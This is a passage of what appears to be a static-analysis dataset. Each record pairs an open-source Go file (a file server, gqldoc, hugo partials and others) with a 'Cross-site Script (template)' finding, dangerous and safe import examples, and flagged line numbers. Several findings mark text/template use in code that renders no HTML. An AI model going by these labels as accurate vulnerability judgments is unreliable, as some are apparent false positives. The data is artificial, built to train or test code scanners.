{{.GoVersion}}\n\tOS/Arch: {{.OSArch}}\n\tGit commit: {{.GitCommit}}\n\tBuilt: {{.Built}}\n\tSite: {{.Site}}`))\n\tbuf := bytes.NewBuffer(nil)\n\tt.Execute(buf, map[string]interface{}{\n\t\t\"Version\": VERSION,\n\t\t\"GoVersion\": runtime.Version(),\n\t\t\"OSArch\": runtime.GOOS + \"/\" + runtime.GOARCH,\n\t\t\"GitCommit\": GITCOMMIT,\n\t\t\"Built\": BUILDTIME,\n\t\t\"Site\": SITE,\n\t})\n\treturn buf.String()\n}\n\nfunc getVersion() string {\n\tv := vinfo.Get()\n\tmarshalled, _ := json.MarshalIndent(&v, \"\", \" \")\n\treturn string(marshalled)\n}\n\nfunc LoadConfig() (Configure, error) {\n\t// initial default conf\n\tGcfg.Root = \"./data\"\n\tGcfg.Addr = \":8000\"\n\tGcfg.Theme = \"black\"\n\tGcfg.PlistProxy = defaultPlistProxy\n\tGcfg.Auth.OpenID = defaultOpenID\n\tGcfg.GoogleTrackerId = \"UA-81205425-2\"\n\tGcfg.Title = \"Go HTTP File Server\"\n\n\tkingpin.HelpFlag.Short('h')\n\tkingpin.Version(getVersion())\n\tkingpin.Flag(\"conf\", \"config file path, yaml format\").Short('c').FileVar(&Gcfg.Conf)\n\tkingpin.Flag(\"root\", \"root directory, default ./\").Short('r').StringVar(&Gcfg.Root)\n\tkingpin.Flag(\"addr\", \"listen address, default :8000\").Short('a').StringVar(&Gcfg.Addr)\n\tkingpin.Flag(\"cert\", \"tls cert.pem path\").StringVar(&Gcfg.Cert)\n\tkingpin.Flag(\"key\", \"tls key.pem path\").StringVar(&Gcfg.Key)\n\tkingpin.Flag(\"simpleauth\", \"Simple http auth or not\").BoolVar(&Gcfg.SimpleAuth)\n\tkingpin.Flag(\"auth-type\", \"Auth type \").StringVar(&Gcfg.Auth.Type)\n\tkingpin.Flag(\"auth-http\", \"HTTP basic auth (ex: user:pass)\").StringVar(&Gcfg.Auth.HTTP)\n\tkingpin.Flag(\"auth-openid\", \"OpenID auth identity url\").StringVar(&Gcfg.Auth.OpenID)\n\tkingpin.Flag(\"theme\", \"web theme, one of \").StringVar(&Gcfg.Theme)\n\tkingpin.Flag(\"upload\", \"enable upload support\").BoolVar(&Gcfg.Upload)\n\tkingpin.Flag(\"delete\", \"enable delete support\").BoolVar(&Gcfg.Delete)\n\tkingpin.Flag(\"xheaders\", \"used when behide nginx\").BoolVar(&Gcfg.XHeaders)\n\tkingpin.Flag(\"cors\", \"enable cross-site HTTP request\").BoolVar(&Gcfg.Cors)\n\tkingpin.Flag(\"debug\", \"enable debug mode\").BoolVar(&Gcfg.Debug)\n\tkingpin.Flag(\"plistproxy\", \"plist proxy when server is not https\").Short('p').StringVar(&Gcfg.PlistProxy)\n\tkingpin.Flag(\"title\", \"server title\").StringVar(&Gcfg.Title)\n\tkingpin.Flag(\"google-tracker-id\", \"set to empty to disable it\").StringVar(&Gcfg.GoogleTrackerId)\n\tkingpin.Flag(\"db\", \"init db\").Short('d').BoolVar(&Gcfg.DbInit)\n\tkingpin.Flag(\"force\", \"force init db first drop db then rebuild it\").Short('f').BoolVar(&Gcfg.DbInitForce)\n\n\tkingpin.Parse() // first parse conf\n\n\tif Gcfg.Conf != nil {\n\t\tdefer func() {\n\t\t\tkingpin.Parse() // command line priority high than conf\n\t\t}()\n\t\tymlData, err := ioutil.ReadAll(Gcfg.Conf)\n\t\tif err != nil {\n\t\t\treturn Gcfg, err\n\t\t}\n\n\t\terr = yaml.Unmarshal(ymlData, &Gcfg)\n\t\treturn Gcfg, err\n\t}\n\treturn Gcfg, nil\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 11, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "fb5e1d0b14cfca15db197744809a041565cb21fa509b3c39b5df50ffdcdc463b", "license": {"spdx": ["MIT"], "repo": "dty1er/gqldoc", "path": "internal/markdown/queries.go", "repo_head_hexsha": "ad9bb16af69a4f4592fb80a5861a6321ea8e1189", "stack_hexsha": "9b22c33580550d6e89a9f180093822d38a8d0502", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 5, "entireCode": "package markdown\n\nimport (\n\t_ \"embed\"\n\t\"text/template\"\n\n\t\"github.com/Code-Hex/gqldoc/internal/introspection\"\n\t\"github.com/pkg/errors\"\n)\n\n//go:embed queries.md\nvar queries string\n\ntype (\n\tQuery struct {\n\t\tDescription string\n\t\tFields []*QueryField\n\t}\n\n\tQueryField struct {\n\t\tName string\n\t\tDescription string\n\t\tArgs []*QueryFieldArg\n\t\tReturn *QueryFieldReturn\n\t}\n\n\tQueryFieldArg struct {\n\t\tName string\n\t\tDescription string\n\t\tType string\n\t\tTypeLink string\n\t}\n\n\tQueryFieldReturn struct {\n\t\tType string\n\t\tTypeLink string\n\t}\n)\n\nfunc (m *Config) renderQuery(s *introspection.Schema) error {\n\tt, err := template.New(\"queries\").Parse(queries)\n\tif err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\ttypes, err := s.FindTypes(s.QueryType.Name)\n\tif err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\n\tmf := make([]*QueryField, 0, len(types.Fields))\n\tfor _, f := range types.Fields {\n\t\tmfa := make([]*QueryFieldArg, 0, len(f.Args))\n\t\tfor _, arg := range f.Args {\n\t\t\tlink, err := m.MakeLinkFromType(arg.Type)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrapf(err, \"argument %q has caused error\", arg.Type.UnderlyingName())\n\t\t\t}\n\t\t\tmfa = append(mfa, &QueryFieldArg{\n\t\t\t\tName: arg.Name,\n\t\t\t\tDescription: renderHTML(arg.Description),\n\t\t\t\tType: arg.Type.String(),\n\t\t\t\tTypeLink: link,\n\t\t\t})\n\t\t}\n\n\t\tfieldTypeLink, err := m.MakeLinkFromType(f.Type)\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"field %q has caused error\", f.Type.UnderlyingName())\n\t\t}\n\t\tmf = append(mf, &QueryField{\n\t\t\tName: f.Name,\n\t\t\tDescription: f.Description,\n\t\t\tArgs: mfa,\n\t\t\tReturn: &QueryFieldReturn{\n\t\t\t\tType: f.Type.String(),\n\t\t\t\tTypeLink: fieldTypeLink,\n\t\t\t},\n\t\t})\n\t}\n\n\tf, err := m.Create(\"queries.md\")\n\tif err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\tdefer f.Close()\n\n\tif err := t.Execute(f, &Query{\n\t\tDescription: types.Description,\n\t\tFields: mf,\n\t}); err != nil {\n\t\treturn errors.WithStack(err)\n\t}\n\treturn nil\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "31b6b65d28585cdb5865130b284b782a057546a6c8e17884a30d8361459e4041", "license": {"spdx": ["BSD-3-Clause"], "repo": "daisuzu/grpc-bench-generator", "path": "template.go", "repo_head_hexsha": "cbcfcd61564be378f2b743beae0a6d8ee13d8bff", "stack_hexsha": "087c80586b838ff9bca1d0ee5fd24155460e9377", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 5, "entireCode": "package main\n\nimport (\n\t\"io\"\n\t\"text/template\"\n)\n\nfunc Output(w io.Writer, bci BenchClientInfo) {\n\ttmpl := string(MustAsset(\"templates/main.go.tmpl\"))\n\tt := template.Must(template.New(\"tmpl\").Parse(tmpl))\n\tt.Execute(w, bci)\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "50ae3cfbae4300f3f18b5c85c90c097592538fc8452cb16f40641d4e77913833", "license": {"spdx": ["BSD-2-Clause"], "repo": "eisenwinter/ngp", "path": "cmd/server/server.go", "repo_head_hexsha": "970d828d0b1e17caa0141a7ef68a878d5313d9f5", "stack_hexsha": "5e9a9a679cb941f1a47bb02d20a133d168ac2b28", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 12, "entireCode": "package main\n\nimport (\n\t\"bytes\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"image\"\n\t_ \"image/png\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"os\"\n\t\"text/template\"\n\n\t\"github.com/eisenwinter/ngp/pkg/euspec\"\n\t\"github.com/eisenwinter/ngp/pkg/greenpass\"\n\ttp \"github.com/eisenwinter/ngp/pkg/template\"\n\t\"github.com/makiuchi-d/gozxing\"\n\t\"github.com/makiuchi-d/gozxing/qrcode\"\n)\n\nvar mainTemplate *template.Template\nvar errorTemplate *template.Template\n\ntype errorOutput struct {\n\tError string\n}\n\nfunc readQr(data []byte) (string, error) {\n\timg, _, err := image.Decode(bytes.NewReader(data))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tbmp, _ := gozxing.NewBinaryBitmapFromImage(img)\n\tqrReader := qrcode.NewQRCodeReader()\n\tresult, err := qrReader.Decode(bmp, nil)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn result.String(), nil\n}\n\nfunc generateNgp(w http.ResponseWriter, r *http.Request) {\n\tif r.Method != \"POST\" {\n\t\tfmt.Fprintf(w, \"Sorry, POST method is supported.\")\n\t}\n\tr.ParseMultipartForm(1 << 20)\n\tfile, handler, err := r.FormFile(\"qr\")\n\tif err != nil {\n\t\terrorTemplate.Execute(w, &errorOutput{Error: \"Keine oder ungültige Datei\"})\n\t\treturn\n\t}\n\tdefer file.Close()\n\tct := handler.Header.Get(\"Content-Type\")\n\tif ct != \"image/png\" {\n\t\terrorTemplate.Execute(w, &errorOutput{Error: \"QR Code ist keine .png Datei\"})\n\t\treturn\n\t}\n\ttemplate := r.FormValue(\"format\")\n\ttemplateToLoad := \"templates/default.html\"\n\tswitch template {\n\tcase \"portrait\":\n\t\ttemplateToLoad = \"templates/portrait.html\"\n\t\tbreak\n\tdefault:\n\t\ttemplateToLoad = \"templates/default.html\"\n\t\tbreak\n\t}\n\tlang := r.FormValue(\"lang\")\n\tif lang != \"en\" {\n\t\tlang = \"de\"\n\t}\n\tfileBytes, err := ioutil.ReadAll(file)\n\tif err != nil {\n\t\terrorTemplate.Execute(w, &errorOutput{Error: \"QR Code konnte nicht gelesen werden\"})\n\t\treturn\n\t}\n\tqr, err := readQr(fileBytes)\n\tif err != nil {\n\t\terrorTemplate.Execute(w, &errorOutput{Error: \"Inhalt von QR Code konnte nicht gelesen werden\"})\n\t\treturn\n\t}\n\tgp := greenpass.New()\n\tresult, err := gp.Decode([]byte(qr))\n\tif err != nil {\n\t\terrorTemplate.Execute(w, &errorOutput{Error: \"Inhalt von QR Code konnte nicht verarbeitet werden\"})\n\t\treturn\n\t}\n\tview := euspec.ToRenderView(*result, \"data:image/png;base64,\"+base64.StdEncoding.EncodeToString(fileBytes), lang)\n\ttr := tp.New()\n\trendered, err := tr.Render(templateToLoad, view)\n\tif err != nil {\n\t\terrorTemplate.Execute(w, &errorOutput{Error: \"ngp konnte nicht generiert werden\"})\n\t\treturn\n\t}\n\tfmt.Fprintf(w, rendered)\n}\n\nfunc showPage(w http.ResponseWriter, r *http.Request) {\n\tmainTemplate.Execute(w, nil)\n}\n\nfunc routes() {\n\thttp.HandleFunc(\"/gen\", generateNgp)\n\thttp.HandleFunc(\"/\", showPage)\n\n}\n\nfunc getPortVariable() string {\n\tif value, ok := os.LookupEnv(\"PORT\"); ok {\n\t\treturn value\n\t}\n\treturn \"8080\"\n}\n\nfunc main() {\n\tmainTemplate = template.Must(template.ParseFiles(\"./views/index.html\"))\n\terrorTemplate = template.Must(template.ParseFiles(\"./views/error.html\"))\n\troutes()\n\thttp.ListenAndServe(fmt.Sprintf(\":%s\", getPortVariable()), nil)\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 12, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "69d058936c087f706d625115b1b3ba989d451aaf058613b5ac681c36bece98f7", "license": {"spdx": ["Apache-2.0"], "repo": "smcavallo/tutone", "path": "internal/util/template_funcs.go", "repo_head_hexsha": "72da174d26e974d4293b4db9108de307cdd4e726", "stack_hexsha": "37c1f27a984bd2a241550313f28588e8c0376c80", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 5, "entireCode": "package util\n\nimport (\n\t\"reflect\"\n\t\"text/template\"\n\n\t\"github.com/Masterminds/sprig/v3\"\n)\n\nfunc GetTemplateFuncs() template.FuncMap {\n\tfuncs := sprig.TxtFuncMap()\n\n\t// Custom funcs\n\tfuncs[\"hasField\"] = hasField\n\n\treturn funcs\n}\n\nfunc hasField(v interface{}, name string) bool {\n\trv := reflect.ValueOf(v)\n\tif rv.Kind() == reflect.Ptr {\n\t\trv = rv.Elem()\n\t}\n\tif rv.Kind() != reflect.Struct {\n\t\treturn false\n\t}\n\treturn rv.FieldByName(name).IsValid()\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "39afde5270a17e8bcbd3e2ae86ed70a66605e101ec5209495c24976165d7c130", "license": {"spdx": ["MIT"], "repo": "altid/libs", "path": "fs/internal/command/command.go", "repo_head_hexsha": "38c4e7c4d364129ffb2c0117f2fae6538c8ef785", "stack_hexsha": "28bc58c4494a5f1f2b4030782ae485efa95d805d", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 7, "entireCode": "package command\n\nimport (\n\t\"errors\"\n\t\"io\"\n\t\"log\"\n\t\"text/template\"\n)\n\n// ComGroup is a logical grouping of commands\n// To add a ComGroup, please do so in a PR\ntype ComGroup int\n\nconst (\n\tDefaultGroup ComGroup = iota\n\tActionGroup\n\tMediaGroup\n\tServiceGroup\n)\n\n//TODO(halfiwt) i18n\nvar DefaultCommands = []*Command{\n\t{\n\t\tName: \"open\",\n\t\tArgs: []string{\"\"},\n\t\tHeading: DefaultGroup,\n\t\tDescription: \"Open and change buffers to a given service\",\n\t},\n\t{\n\t\tName: \"close\",\n\t\tArgs: []string{\"\"},\n\t\tHeading: DefaultGroup,\n\t\tDescription: \"Close a buffer and return to the last opened previously\",\n\t},\n\t{\n\t\tName: \"buffer\",\n\t\tArgs: []string{\"\"},\n\t\tHeading: DefaultGroup,\n\t\tDescription: \"Change to the named buffer\",\n\t},\n\t{\n\t\tName: \"link\",\n\t\tArgs: []string{\"\", \"\"},\n\t\tHeading: DefaultGroup,\n\t\tDescription: \"Overwrite the current buffer with the named\",\n\t},\n\t{\n\t\tName: \"quit\",\n\t\tArgs: []string{},\n\t\tHeading: DefaultGroup,\n\t\tDescription: \"Exits the client\",\n\t},\n}\n\nconst commandTemplate = `{{range .}}\t{{.Name}}{{if .Alias}}{{range .Alias}}|{{.}}{{end}}{{end}}{{if .Args}}\t{{range .Args}}{{.}} {{end}}{{end}}{{if .Description}}\t# {{.Description}}{{end}}\n{{end}}`\n\n// Command represents an available command to a service\ntype Command struct {\n\tName string\n\tDescription string\n\tHeading ComGroup\n\tArgs []string\n\tAlias []string\n\tFrom string\n}\n\ntype CmdList []*Command\n\nfunc (a CmdList) Len() int { return len(a) }\nfunc (a CmdList) Swap(i, j int) { a[i], a[j] = a[j], a[i] }\nfunc (a CmdList) Less(i, j int) bool { return a[i].Heading < a[j].Heading }\n\nfunc PrintCtlFile(cmdlist []*Command, to io.WriteCloser) error {\n\tvar last int\n\n\tcurr := cmdlist[0].Heading\n\ttp := template.Must(template.New(\"entry\").Parse(commandTemplate))\n\n\tfor n, comm := range cmdlist {\n\t\t// 0, 0 and comm.Heading != curr; we want to set a heading\n\t\tif comm.Heading != curr {\n\t\t\tcmdHeading(to, curr)\n\t\t\tfor j, subcomm := range cmdlist[last:] {\n\t\t\t\tif subcomm.Heading != comm.Heading {\n\t\t\t\t\tif n+j > last {\n\t\t\t\t\t\tif e := tp.Execute(to, cmdlist[last:n+j]); e != nil {\n\t\t\t\t\t\t\treturn e\n\t\t\t\t\t\t}\n\t\t\t\t\t\tlast = n + j\n\t\t\t\t\t}\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tcurr = comm.Heading\n\t\t}\n\t}\n\n\t// We have one Grouping remaining, print\n\tif last < len(cmdlist) {\n\t\tcmdHeading(to, cmdlist[last].Heading)\n\t\tif e := tp.Execute(to, cmdlist[last:]); e != nil {\n\t\t\treturn e\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc FindParts(cmd string) (string, string, []string, error) {\n\treturn parseCmd(cmd)\n}\n\n// So for this, we want to parse out a proper cmd - each arg can have spaces if it's wrapped in \\\" \\\"\nfunc ParseCmd(cmd string, cmdlist []*Command) (*Command, error) {\n\tname, from, args, err := parseCmd(cmd)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, comm := range cmdlist {\n\n\t\tif comm.Name == name {\n\t\t\treturn newFrom(comm, from, args)\n\t\t}\n\n\t\tfor _, alias := range comm.Alias {\n\t\t\tif alias == name {\n\t\t\t\treturn newFrom(comm, from, args)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil, errors.New(\"command not supported\")\n}\n\nfunc cmdHeading(to io.WriteCloser, heading ComGroup) {\n\tswitch heading {\n\tcase ActionGroup:\n\t\tto.Write([]byte(\"emotes:\\n\"))\n\tcase DefaultGroup:\n\t\tto.Write([]byte(\"general:\\n\"))\n\tcase MediaGroup:\n\t\tto.Write([]byte(\"media:\\n\"))\n\tcase ServiceGroup:\n\t\tto.Write([]byte(\"service:\\n\"))\n\tdefault:\n\t\tlog.Fatal(\"Group not implemented\")\n\t}\n}\n\nfunc newFrom(comm *Command, from string, args []string) (*Command, error) {\n\tif comm.Heading == ServiceGroup {\n\t\tc := &Command{\n\t\t\tName: comm.Name,\n\t\t\tDescription: comm.Description,\n\t\t\tHeading: ServiceGroup,\n\t\t\tArgs: args,\n\t\t}\n\n\t\treturn c, nil\n\t}\n\n\tc := &Command{\n\t\tName: comm.Name,\n\t\tDescription: comm.Description,\n\t\tHeading: comm.Heading,\n\t\tArgs: args,\n\t\tAlias: comm.Alias,\n\t\tFrom: from,\n\t}\n\treturn c, nil\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 7, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "0a7ce48ee06b9e962aae902f31baa5c686a29bda498c9804d3013578fda94b6f", "license": {"spdx": ["MIT"], "repo": "morelj/gtl", "path": "function/base64.go", "repo_head_hexsha": "a76c42cc0437bfb601cbb3e88d621f6ca9d5fdec", "stack_hexsha": "8cbf084a8176b8b4ce4c00f6a2f6aef8d893934d", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 5, "entireCode": "package function\n\nimport (\n\t\"encoding/base64\"\n\t\"text/template\"\n)\n\nconst base64Category = \"Base64\"\n\nvar base64Funcs = []FunctionSet{\n\t{\n\t\tCategory: base64Category,\n\t\tSyntax: \"base64[_url][_raw]_encode \",\n\t\tDescription: []string{\n\t\t\t\"Encodes val in Base64. This function comes in several variants by adding the _url and _raw tags.\",\n\t\t\t\"_raw variants remove the = padding characters, and _url variants use the alternate URL compliant alphabet\",\n\t\t},\n\t\tFunctions: template.FuncMap{\n\t\t\t\"base64_encode\": func(v string) string {\n\t\t\t\treturn base64.StdEncoding.EncodeToString(([]byte)(v))\n\t\t\t},\n\t\t\t\"base64_raw_encode\": func(v string) string {\n\t\t\t\treturn base64.RawStdEncoding.EncodeToString(([]byte)(v))\n\t\t\t},\n\t\t\t\"base64_url_encode\": func(v string) string {\n\t\t\t\treturn base64.URLEncoding.EncodeToString(([]byte)(v))\n\t\t\t},\n\t\t\t\"base64_raw_url_encode\": func(v string) string {\n\t\t\t\treturn base64.RawURLEncoding.EncodeToString(([]byte)(v))\n\t\t\t},\n\t\t},\n\t},\n\t{\n\t\tCategory: base64Category,\n\t\tSyntax: \"base64[_url][_raw]_decode \",\n\t\tDescription: []string{\n\t\t\t\"Decodes val from Base64. This function comes in several variants by adding the _url and _raw tags.\",\n\t\t\t\"_raw variants remove the = padding characters, and _url variants use the alternate URL compliant alphabet\",\n\t\t},\n\t\tFunctions: template.FuncMap{\n\t\t\t\"base64_decode\": func(v string) string {\n\t\t\t\treturn base64Decode(v, base64.StdEncoding)\n\t\t\t},\n\t\t\t\"base64_raw_decode\": func(v string) string {\n\t\t\t\treturn base64Decode(v, base64.RawStdEncoding)\n\t\t\t},\n\t\t\t\"base64_url_decode\": func(v string) string {\n\t\t\t\treturn base64Decode(v, base64.URLEncoding)\n\t\t\t},\n\t\t\t\"base64_raw_url_decode\": func(v string) string {\n\t\t\t\treturn base64Decode(v, base64.RawURLEncoding)\n\t\t\t},\n\t\t},\n\t},\n}\n\nfunc base64Decode(v string, e *base64.Encoding) string {\n\tdata, err := e.DecodeString(v)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn string(data)\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "a812d81bd56f3ffaeeccd4fe7a17d9a3a83d97bcb5d4b5e666e10386b5438bd0", "license": {"spdx": ["Apache-2.0"], "repo": "ourobouros/hugo", "path": "tpl/partials/partials.go", "repo_head_hexsha": "ce8a09a4c0661dece931ab1173e4f09e8e04aa38", "stack_hexsha": "39bb153e0d3e0d7350bb165b1828001620fdb50f", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 23, "entireCode": "// Copyright 2017 The Hugo Authors. All rights reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package partials provides template functions for working with reusable\n// templates.\npackage partials\n\nimport (\n\t\"fmt\"\n\t\"html/template\"\n\t\"strings\"\n\t\"sync\"\n\ttexttemplate \"text/template\"\n\n\tbp \"github.com/gohugoio/hugo/bufferpool\"\n\t\"github.com/gohugoio/hugo/deps\"\n)\n\n// TestTemplateProvider is global deps.ResourceProvider.\n// NOTE: It's currently unused.\nvar TestTemplateProvider deps.ResourceProvider\n\n// partialCache represents a cache of partials protected by a mutex.\ntype partialCache struct {\n\tsync.RWMutex\n\tp map[string]interface{}\n}\n\nfunc (p *partialCache) clear() {\n\tp.Lock()\n\tdefer p.Unlock()\n\tp.p = make(map[string]interface{})\n}\n\n// New returns a new instance of the templates-namespaced template functions.\nfunc New(deps *deps.Deps) *Namespace {\n\tcache := &partialCache{p: make(map[string]interface{})}\n\tdeps.BuildStartListeners.Add(\n\t\tfunc() {\n\t\t\tcache.clear()\n\t\t})\n\n\treturn &Namespace{\n\t\tdeps: deps,\n\t\tcachedPartials: cache,\n\t}\n}\n\n// Namespace provides template functions for the \"templates\" namespace.\ntype Namespace struct {\n\tdeps *deps.Deps\n\tcachedPartials *partialCache\n}\n\n// Include executes the named partial and returns either a string,\n// when the partial is a text/template, or template.HTML when html/template.\nfunc (ns *Namespace) Include(name string, contextList ...interface{}) (interface{}, error) {\n\tif strings.HasPrefix(\"partials/\", name) {\n\t\tname = name[8:]\n\t}\n\tvar context interface{}\n\n\tif len(contextList) == 0 {\n\t\tcontext = nil\n\t} else {\n\t\tcontext = contextList[0]\n\t}\n\n\tn := \"partials/\" + name\n\ttempl, found := ns.deps.Tmpl.Lookup(n)\n\n\tif !found {\n\t\t// For legacy reasons.\n\t\ttempl, found = ns.deps.Tmpl.Lookup(n + \".html\")\n\t}\n\tif found {\n\t\tb := bp.GetBuffer()\n\t\tdefer bp.PutBuffer(b)\n\n\t\tif err := templ.Execute(b, context); err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\tif _, ok := templ.(*texttemplate.Template); ok {\n\t\t\ts := b.String()\n\t\t\tif ns.deps.Metrics != nil {\n\t\t\t\tns.deps.Metrics.TrackValue(n, s)\n\t\t\t}\n\t\t\treturn s, nil\n\t\t}\n\n\t\ts := b.String()\n\t\tif ns.deps.Metrics != nil {\n\t\t\tns.deps.Metrics.TrackValue(n, s)\n\t\t}\n\t\treturn template.HTML(s), nil\n\n\t}\n\n\treturn \"\", fmt.Errorf(\"Partial %q not found\", name)\n}\n\n// IncludeCached executes and caches partial templates. An optional variant\n// string parameter (a string slice actually, but be only use a variadic\n// argument to make it optional) can be passed so that a given partial can have\n// multiple uses. The cache is created with name+variant as the key.\nfunc (ns *Namespace) IncludeCached(name string, context interface{}, variant ...string) (interface{}, error) {\n\tkey := name\n\tif len(variant) > 